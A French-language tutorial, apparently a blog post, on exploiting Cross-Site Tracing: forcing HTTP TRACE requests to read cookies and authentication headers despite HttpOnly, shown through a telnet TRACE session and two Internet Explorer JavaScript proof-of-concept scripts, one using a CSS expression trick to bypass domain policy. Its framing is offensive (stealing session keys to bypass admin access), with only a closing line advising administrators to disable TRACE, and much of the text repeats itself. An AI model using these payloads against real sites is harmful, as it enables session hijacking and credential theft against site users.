Tweet
On va voir ensemble comment exploiter la faille XST (Cross-Site Tracing). En effet, cette faille s'exploite lorsque la méthode TRACE (requête HTTP) est activée sur un serveur. La méthode TRACE permet en temps normal d'effectuer des diagnostics de connexion et autre par l'administrateur. L'intérêt de cette méthode est que quand le serveur reçoit une trace request, il répond par un message ou sont contenus plusieurs informations d'envoi et de réponse.
Cette faille permet de récupérer des informations (cookies, session, clés) quand l'option HttpOnly est activée.
Cet exploit est réalisable sous Internet Explorer.
On voit que les données reçues sont de type message/html. Pourquoi est-ce intéressant ?
Sur certains serveurs, l'administrateur a activé l'option HttpOnly. Cette option désactive l'affichage côté client des cookies du site ; en clair, avec cette option, l'exploitation de failles XSS est impossible. C'est une mesure de sécurisation de manipulation des cookies.
La méthode TRACE contient et affiche les en-têtes des requêtes HTTP, ces en-têtes contiennent les cookies et les clés d'authentification, et nous pouvons donc les récupérer en forçant un TRACE sur le serveur sans passer par l'instruction "document.cookie".
En temps normal, la balise FORM (html) n'autorise que les méthodes GET et POST. Cependant, nous pouvons pallier à ce problème en contournant la limitation de méthode. Pour cela, on va scripter un contournement avec les XHR (xHtml Request):
On récupère l'alert suivante:
On voit alors que l'on peut récupérer des cookies sans passer par "document.cookie".
Maintenant que nous avons les cookies, pourquoi ne pas bypasser la sécurité serveur DSP (domain security policy) en récupérant les clés d'authentification ?
Encore une fois nous allons utiliser les XHR et le TRACE Forcing:
Et nous affichons l'alert suivante:
On voit alors que l'on possède la clé d'authentification (hash base 64), qu'il ne nous reste plus qu'à décrypter. Et voilà, nous possédons toutes les informations utiles pour bypasser l'accès admin sans utiliser "document.cookie".
Administrateurs, vous l'aurez donc compris, pour vous prémunir contre cette faille, le meilleur moyen est de désactiver la méthode TRACE quand vous ne vous en servez pas.
Attention: la méthode TRACE est activée par défaut.
Cette faille permet de récupérer des informations (cookies, session, clés) quand l'option HttpOnly est activée.
Cet exploit est réalisable sous Internet Explorer.
Code:
Trying xxx.xx.xxx.xxx.. Connected to cible.com. Escape character is '^]'. TRACE / HTTp/1.0 HTTP/1.1 200 OK Date: Mon, 27 Jun 2011 20:42:00 GMT Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Connection: close Content-Type: message/http
Sur certains serveurs, l'administrateur a activé l'option HttpOnly. Cette option désactive l'affichage côté client des cookies du site ; en clair, avec cette option, l'exploitation de failles XSS est impossible. C'est une mesure de sécurisation de manipulation des cookies.
La méthode TRACE contient et affiche les en-têtes des requêtes HTTP, ces en-têtes contiennent les cookies et les clés d'authentification, et nous pouvons donc les récupérer en forçant un TRACE sur le serveur sans passer par l'instruction "document.cookie".
En temps normal, la balise FORM (html) n'autorise que les méthodes GET et POST. Cependant, nous pouvons pallier à ce problème en contournant la limitation de méthode. Pour cela, on va scripter un contournement avec les XHR (xHtml Request):
Code:
<script type=”text/javascript”>
<!--
function envoyerMethodeTrace () {
var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);
xmlHttp.open(“TRACE”, “http://site.com”,false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
<input type="button" OnClick=”envoyerMethodeTrace();” VALUE=”Envoyer un TRACE”>
On récupère l'alert suivante:
On voit alors que l'on peut récupérer des cookies sans passer par "document.cookie".
Maintenant que nous avons les cookies, pourquoi ne pas bypasser la sécurité serveur DSP (domain security policy) en récupérant les clés d'authentification ?
Encore une fois nous allons utiliser les XHR et le TRACE Forcing:
Code:
<script type=”text/javascript”>
function xssDomainTraceRequest(){
var exampleCode = “var xmlHttp = new ActiveXObject(\
”Microsoft.XMLHTTP\”)\;xmlHttp.open(\”TRACE\”,\”http://site.com\”,false)\
;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;”;
var target = “http://site.com”;
cExampleCode = encodeURIComponent(exampleCode + ‘;top.close()’);
var readyCode = ‘font-size:expression(execScript(decodeURIComponen
t(“’ + cExampleCode + ‘”)))’;
showModalDialog(target, null, readyCode);
}
</script>
<input type="button" OnClick=”xssDomainTraceRequest()” VALUE=”Cookie et clés d'auth”>
Et nous affichons l'alert suivante:
On voit alors que l'on possède la clé d'authentification (hash base 64), qu'il ne nous reste plus qu'à décrypter. Et voilà, nous possédons toutes les informations utiles pour bypasser l'accès admin sans utiliser "document.cookie".
Administrateurs, vous l'aurez donc compris, pour vous prémunir contre cette faille, le meilleur moyen est de désactiver la méthode TRACE quand vous ne vous en servez pas.
Attention: la méthode TRACE est activée par défaut.
Commentaire